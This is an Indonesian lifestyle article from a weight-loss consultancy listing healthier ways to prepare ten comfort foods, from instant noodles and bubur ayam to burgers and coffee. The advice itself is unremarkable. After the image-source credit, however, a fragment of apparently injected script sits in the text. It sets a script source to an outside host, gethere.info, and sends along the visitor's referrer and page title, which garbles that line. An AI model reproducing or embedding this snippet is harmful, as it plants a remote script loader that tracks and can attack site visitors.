Comfort Food Sehat

Beda tempat, beda pula comfort food yang diinginkan. Cara memilih dan menyajikannya juga berbeda

Beda tempat, beda pula comfort food yang diinginkan. Bagi masyarakat Amerika, jenis makanan seperti steak, apple pie, atau macaroni dianggap sebagai comfort food. Sedangkan masyarakat Indonesia lebih menyukai jenis makanan seperti mie goreng, bubur ayam, nasi plus telur mata sapi, gorengan, beberapa jenis fast food, serta minuman hangat.

Supaya tetap sehat, dr. Grace Judio-Kahl, M.Sc,M.H,CHt , Konsultan Berat Badan dari Shape-Up Indonesia memberikan sontekan cara memilih dan menyajikan  beberapa jenis comfort food, yang tetap disesuaikan dengan selera. Selain tubuh menjadi lebih fit, kepuasan batin Anda pun terpenuhi!

1. Mi goreng Instan
Ketimbang dengan kornet, sajikan mi goreng menggunakan sayuran, lalu tambahkan putih telurnya saja. Tetapi apabila Anda menginginkan cita rasa bumbunya, ganti mie dengan bihun yang memilki kandungan kalori lebih kecil.

2. Bubur Ayam 
Tak masalah mengonsumsi satu paket bubur ayam lengkap dengan telur dan ayam suwirnya. Tetapi hati-hati dengan kerupuk dan cakwe yang mengandung banyak kalori. Sebaiknya, tak terlalu banyak mengonsumsinya.

3. Nasi plus telur mata sapi
Yang terpenting, Anda harus memerhatikan portion control. Bila Anda memang benar-benar ingin makan telur mata sapi hingga dua butir, sebaiknya makan satu kuningnya saja.

4. Gorengan
Anda harus paham benar sumber gorengan itu berasal. Pastikan bahwa gorengan yang Anda makan dibuat dengan aman. Pilih jenis gorengan berupa tahu dan tempe ketimbang bakwan. Sebab, keduanya masih mengandung isoflavon yang bermanfaat untuk mencegah timbulnya penyakit kanker dan jantung.

5. Fried Chicken
Sebaiknya, buat fried chicken sendiri. Boleh saja membeli tepung instan yang dijual bebas di supermarket, tapi tetaplah menggoreng menggunakan minyak yang baru. Dengan membuat fried chicken sendiri, Anda dapat memastikan kesehatannya.

6. Burger
Pilih jenis fish atau chicken burger, karena memiliki kandungan kalori lebih kecil ketimbang beef burger. Juga, hindari porsi double decker yang tediri dari keju, telur, dan daging. Porsi ini memiliki kalori sangat besar dan hanya akan membuat Anda cepat gemuk.

7. Cokelat
Baik dark atau milk chocolate, keduanya memiliki kandungan kalori yang cukup besar. Yang terpenting, perhatikan porsi ketika Anda mengonsumsinya.

8. Keripik
Lebih baik, pilih keripik berbahan dasar sayuran seperti bayam atau jamur. Meski digoreng, kandungan kalori yang ada pada keripik sayuran terbilang lebih kecil ketimbang keripik kentang. Sesekali, coba juga rumput laut khas Jepang yang kini banyak dijual di supermarket. Penganan ini bisa meningkatkan kandungan protein dalam tubuh.

9. Minum teh manis
Pada umumnya, seseorang ingin minum teh karena menyukai aromanya yang harum, bukan rasa manisnya. Sehingga, Anda dapat mengganti pemanisnya dengan teh beraroma buah seperti jasmine ataupun rose tea.

10. Minuman kopi
Hampir sama dengan teh, aroma kopi juga menjadi alasan utama mengapa orang ingin mengonsumsinya. Sebaiknya, sajikan kopi dan gula secara terpisah. Aduk kopi terlebih dahulu, lalu masukkan gulanya sedikit demi sedikit.

Sumber : www.femina.co.id

image source : http://en.wikipedia.org/wiki/Bubur_ayams.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

PT Shape Up Indonesia - Copyright © 2019. All Rights Reserved.
Developed byPetrus Andre
FAQ